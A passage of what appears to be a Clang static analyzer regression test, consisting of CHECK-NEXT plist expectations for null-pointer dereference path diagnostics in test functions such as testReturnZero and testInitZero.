// CHECK-NEXT: <string>Returning null pointer (loaded from 'p')</string>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>kind</key><string>event</string>
// CHECK-NEXT: <key>location</key>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>65</integer>
// CHECK-NEXT: <key>col</key><integer>4</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <key>ranges</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>65</integer>
// CHECK-NEXT: <key>col</key><integer>4</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>65</integer>
// CHECK-NEXT: <key>col</key><integer>12</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </array>
// CHECK-NEXT: <key>depth</key><integer>0</integer>
// CHECK-NEXT: <key>extended_message</key>
// CHECK-NEXT: <string>Returning from 'getZero'</string>
// CHECK-NEXT: <key>message</key>
// CHECK-NEXT: <string>Returning from 'getZero'</string>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>kind</key><string>control</string>
// CHECK-NEXT: <key>edges</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>start</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>65</integer>
// CHECK-NEXT: <key>col</key><integer>4</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>65</integer>
// CHECK-NEXT: <key>col</key><integer>10</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: <key>end</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>65</integer>
// CHECK-NEXT: <key>col</key><integer>14</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>65</integer>
// CHECK-NEXT: <key>col</key><integer>14</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>kind</key><string>event</string>
// CHECK-NEXT: <key>location</key>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>65</integer>
// CHECK-NEXT: <key>col</key><integer>14</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <key>ranges</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>65</integer>
// CHECK-NEXT: <key>col</key><integer>3</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>65</integer>
// CHECK-NEXT: <key>col</key><integer>16</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </array>
// CHECK-NEXT: <key>depth</key><integer>0</integer>
// CHECK-NEXT: <key>extended_message</key>
// CHECK-NEXT: <string>Dereference of null pointer</string>
// CHECK-NEXT: <key>message</key>
// CHECK-NEXT: <string>Dereference of null pointer</string>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: <key>description</key><string>Dereference of null pointer</string>
// CHECK-NEXT: <key>category</key><string>Logic error</string>
// CHECK-NEXT: <key>type</key><string>Dereference of null pointer</string>
// CHECK-NEXT: <key>check_name</key><string>core.NullDereference</string>
// CHECK-NEXT: <!-- This hash is experimental and going to change! -->
// CHECK-NEXT: <key>issue_hash_content_of_line_in_context</key><string>d03346854b8f45b55cbd5efe29bf2c8e</string>
// CHECK-NEXT: <key>issue_context_kind</key><string>function</string>
// CHECK-NEXT: <key>issue_context</key><string>testReturnZero</string>
// CHECK-NEXT: <key>issue_hash_function_offset</key><string>1</string>
// CHECK-NEXT: <key>location</key>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>65</integer>
// CHECK-NEXT: <key>col</key><integer>14</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>path</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>kind</key><string>control</string>
// CHECK-NEXT: <key>edges</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>start</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>72</integer>
// CHECK-NEXT: <key>col</key><integer>3</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>72</integer>
// CHECK-NEXT: <key>col</key><integer>8</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: <key>end</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>72</integer>
// CHECK-NEXT: <key>col</key><integer>11</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>72</integer>
// CHECK-NEXT: <key>col</key><integer>17</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>kind</key><string>event</string>
// CHECK-NEXT: <key>location</key>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>72</integer>
// CHECK-NEXT: <key>col</key><integer>11</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <key>ranges</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>72</integer>
// CHECK-NEXT: <key>col</key><integer>11</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>72</integer>
// CHECK-NEXT: <key>col</key><integer>19</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </array>
// CHECK-NEXT: <key>depth</key><integer>0</integer>
// CHECK-NEXT: <key>extended_message</key>
// CHECK-NEXT: <string>Calling 'getZero'</string>
// CHECK-NEXT: <key>message</key>
// CHECK-NEXT: <string>Calling 'getZero'</string>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>kind</key><string>event</string>
// CHECK-NEXT: <key>location</key>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>56</integer>
// CHECK-NEXT: <key>col</key><integer>1</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <key>depth</key><integer>1</integer>
// CHECK-NEXT: <key>extended_message</key>
// CHECK-NEXT: <string>Entered call from 'testReturnZero2'</string>
// CHECK-NEXT: <key>message</key>
// CHECK-NEXT: <string>Entered call from 'testReturnZero2'</string>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>kind</key><string>control</string>
// CHECK-NEXT: <key>edges</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>start</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>56</integer>
// CHECK-NEXT: <key>col</key><integer>1</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>56</integer>
// CHECK-NEXT: <key>col</key><integer>3</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: <key>end</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>57</integer>
// CHECK-NEXT: <key>col</key><integer>3</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>57</integer>
// CHECK-NEXT: <key>col</key><integer>5</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>kind</key><string>event</string>
// CHECK-NEXT: <key>location</key>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>57</integer>
// CHECK-NEXT: <key>col</key><integer>3</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <key>ranges</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>57</integer>
// CHECK-NEXT: <key>col</key><integer>3</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>57</integer>
// CHECK-NEXT: <key>col</key><integer>8</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </array>
// CHECK-NEXT: <key>depth</key><integer>1</integer>
// CHECK-NEXT: <key>extended_message</key>
// CHECK-NEXT: <string>'p' initialized to a null pointer value</string>
// CHECK-NEXT: <key>message</key>
// CHECK-NEXT: <string>'p' initialized to a null pointer value</string>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>kind</key><string>control</string>
// CHECK-NEXT: <key>edges</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>start</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>57</integer>
// CHECK-NEXT: <key>col</key><integer>3</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>57</integer>
// CHECK-NEXT: <key>col</key><integer>5</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: <key>end</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>60</integer>
// CHECK-NEXT: <key>col</key><integer>3</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>60</integer>
// CHECK-NEXT: <key>col</key><integer>8</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>kind</key><string>event</string>
// CHECK-NEXT: <key>location</key>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>60</integer>
// CHECK-NEXT: <key>col</key><integer>3</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <key>ranges</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>60</integer>
// CHECK-NEXT: <key>col</key><integer>3</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>60</integer>
// CHECK-NEXT: <key>col</key><integer>10</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </array>
// CHECK-NEXT: <key>depth</key><integer>1</integer>
// CHECK-NEXT: <key>extended_message</key>
// CHECK-NEXT: <string>Returning null pointer (loaded from 'p')</string>
// CHECK-NEXT: <key>message</key>
// CHECK-NEXT: <string>Returning null pointer (loaded from 'p')</string>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>kind</key><string>event</string>
// CHECK-NEXT: <key>location</key>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>72</integer>
// CHECK-NEXT: <key>col</key><integer>11</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <key>ranges</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>72</integer>
// CHECK-NEXT: <key>col</key><integer>11</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>72</integer>
// CHECK-NEXT: <key>col</key><integer>19</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </array>
// CHECK-NEXT: <key>depth</key><integer>0</integer>
// CHECK-NEXT: <key>extended_message</key>
// CHECK-NEXT: <string>Returning from 'getZero'</string>
// CHECK-NEXT: <key>message</key>
// CHECK-NEXT: <string>Returning from 'getZero'</string>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>kind</key><string>control</string>
// CHECK-NEXT: <key>edges</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>start</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>72</integer>
// CHECK-NEXT: <key>col</key><integer>11</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>72</integer>
// CHECK-NEXT: <key>col</key><integer>17</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: <key>end</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>72</integer>
// CHECK-NEXT: <key>col</key><integer>10</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>72</integer>
// CHECK-NEXT: <key>col</key><integer>10</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>kind</key><string>event</string>
// CHECK-NEXT: <key>location</key>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>72</integer>
// CHECK-NEXT: <key>col</key><integer>10</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <key>ranges</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>72</integer>
// CHECK-NEXT: <key>col</key><integer>10</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>72</integer>
// CHECK-NEXT: <key>col</key><integer>19</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </array>
// CHECK-NEXT: <key>depth</key><integer>0</integer>
// CHECK-NEXT: <key>extended_message</key>
// CHECK-NEXT: <string>Dereference of null pointer</string>
// CHECK-NEXT: <key>message</key>
// CHECK-NEXT: <string>Dereference of null pointer</string>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: <key>description</key><string>Dereference of null pointer</string>
// CHECK-NEXT: <key>category</key><string>Logic error</string>
// CHECK-NEXT: <key>type</key><string>Dereference of null pointer</string>
// CHECK-NEXT: <key>check_name</key><string>core.NullDereference</string>
// CHECK-NEXT: <!-- This hash is experimental and going to change! -->
// CHECK-NEXT: <key>issue_hash_content_of_line_in_context</key><string>5a72f98932a4061a833287a12b28ba8b</string>
// CHECK-NEXT: <key>issue_context_kind</key><string>function</string>
// CHECK-NEXT: <key>issue_context</key><string>testReturnZero2</string>
// CHECK-NEXT: <key>issue_hash_function_offset</key><string>1</string>
// CHECK-NEXT: <key>location</key>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>72</integer>
// CHECK-NEXT: <key>col</key><integer>10</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>path</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>kind</key><string>control</string>
// CHECK-NEXT: <key>edges</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>start</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>79</integer>
// CHECK-NEXT: <key>col</key><integer>3</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>79</integer>
// CHECK-NEXT: <key>col</key><integer>5</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: <key>end</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>79</integer>
// CHECK-NEXT: <key>col</key><integer>12</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>79</integer>
// CHECK-NEXT: <key>col</key><integer>18</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>kind</key><string>event</string>
// CHECK-NEXT: <key>location</key>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>79</integer>
// CHECK-NEXT: <key>col</key><integer>12</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <key>ranges</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>79</integer>
// CHECK-NEXT: <key>col</key><integer>12</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>79</integer>
// CHECK-NEXT: <key>col</key><integer>20</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </array>
// CHECK-NEXT: <key>depth</key><integer>0</integer>
// CHECK-NEXT: <key>extended_message</key>
// CHECK-NEXT: <string>Calling 'getZero'</string>
// CHECK-NEXT: <key>message</key>
// CHECK-NEXT: <string>Calling 'getZero'</string>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>kind</key><string>event</string>
// CHECK-NEXT: <key>location</key>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>56</integer>
// CHECK-NEXT: <key>col</key><integer>1</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <key>depth</key><integer>1</integer>
// CHECK-NEXT: <key>extended_message</key>
// CHECK-NEXT: <string>Entered call from 'testInitZero'</string>
// CHECK-NEXT: <key>message</key>
// CHECK-NEXT: <string>Entered call from 'testInitZero'</string>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>kind</key><string>control</string>
// CHECK-NEXT: <key>edges</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>start</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>56</integer>
// CHECK-NEXT: <key>col</key><integer>1</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>56</integer>
// CHECK-NEXT: <key>col</key><integer>3</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: <key>end</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>57</integer>
// CHECK-NEXT: <key>col</key><integer>3</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>57</integer>
// CHECK-NEXT: <key>col</key><integer>5</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>kind</key><string>event</string>
// CHECK-NEXT: <key>location</key>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>57</integer>
// CHECK-NEXT: <key>col</key><integer>3</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <key>ranges</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>57</integer>
// CHECK-NEXT: <key>col</key><integer>3</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>57</integer>
// CHECK-NEXT: <key>col</key><integer>8</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </array>
// CHECK-NEXT: <key>depth</key><integer>1</integer>
// CHECK-NEXT: <key>extended_message</key>
// CHECK-NEXT: <string>'p' initialized to a null pointer value</string>
// CHECK-NEXT: <key>message</key>
// CHECK-NEXT: <string>'p' initialized to a null pointer value</string>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>kind</key><string>control</string>
// CHECK-NEXT: <key>edges</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>start</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>57</integer>
// CHECK-NEXT: <key>col</key><integer>3</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>57</integer>
// CHECK-NEXT: <key>col</key><integer>5</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: <key>end</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>60</integer>
// CHECK-NEXT: <key>col</key><integer>3</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>60</integer>
// CHECK-NEXT: <key>col</key><integer>8</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>kind</key><string>event</string>
// CHECK-NEXT: <key>location</key>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>60</integer>
// CHECK-NEXT: <key>col</key><integer>3</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <key>ranges</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>60</integer>
// CHECK-NEXT: <key>col</key><integer>3</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>60</integer>
// CHECK-NEXT: <key>col</key><integer>10</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </array>
// CHECK-NEXT: <key>depth</key><integer>1</integer>
// CHECK-NEXT: <key>extended_message</key>
// CHECK-NEXT: <string>Returning null pointer (loaded from 'p')</string>
// CHECK-NEXT: <key>message</key>
// CHECK-NEXT: <string>Returning null pointer (loaded from 'p')</string>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>kind</key><string>event</string>
// CHECK-NEXT: <key>location</key>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>79</integer>
// CHECK-NEXT: <key>col</key><integer>12</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <key>ranges</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>79</integer>
// CHECK-NEXT: <key>col</key><integer>12</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>79</integer>
// CHECK-NEXT: <key>col</key><integer>20</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </array>
// CHECK-NEXT: <key>depth</key><integer>0</integer>
// CHECK-NEXT: <key>extended_message</key>
// CHECK-NEXT: <string>Returning from 'getZero'</string>
// CHECK-NEXT: <key>message</key>
// CHECK-NEXT: <string>Returning from 'getZero'</string>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>kind</key><string>control</string>
// CHECK-NEXT: <key>edges</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>start</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>79</integer>
// CHECK-NEXT: <key>col</key><integer>12</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>79</integer>
// CHECK-NEXT: <key>col</key><integer>18</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: <key>end</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>79</integer>
// CHECK-NEXT: <key>col</key><integer>3</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>79</integer>
// CHECK-NEXT: <key>col</key><integer>5</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>kind</key><string>event</string>
// CHECK-NEXT: <key>location</key>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>79</integer>
// CHECK-NEXT: <key>col</key><integer>3</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
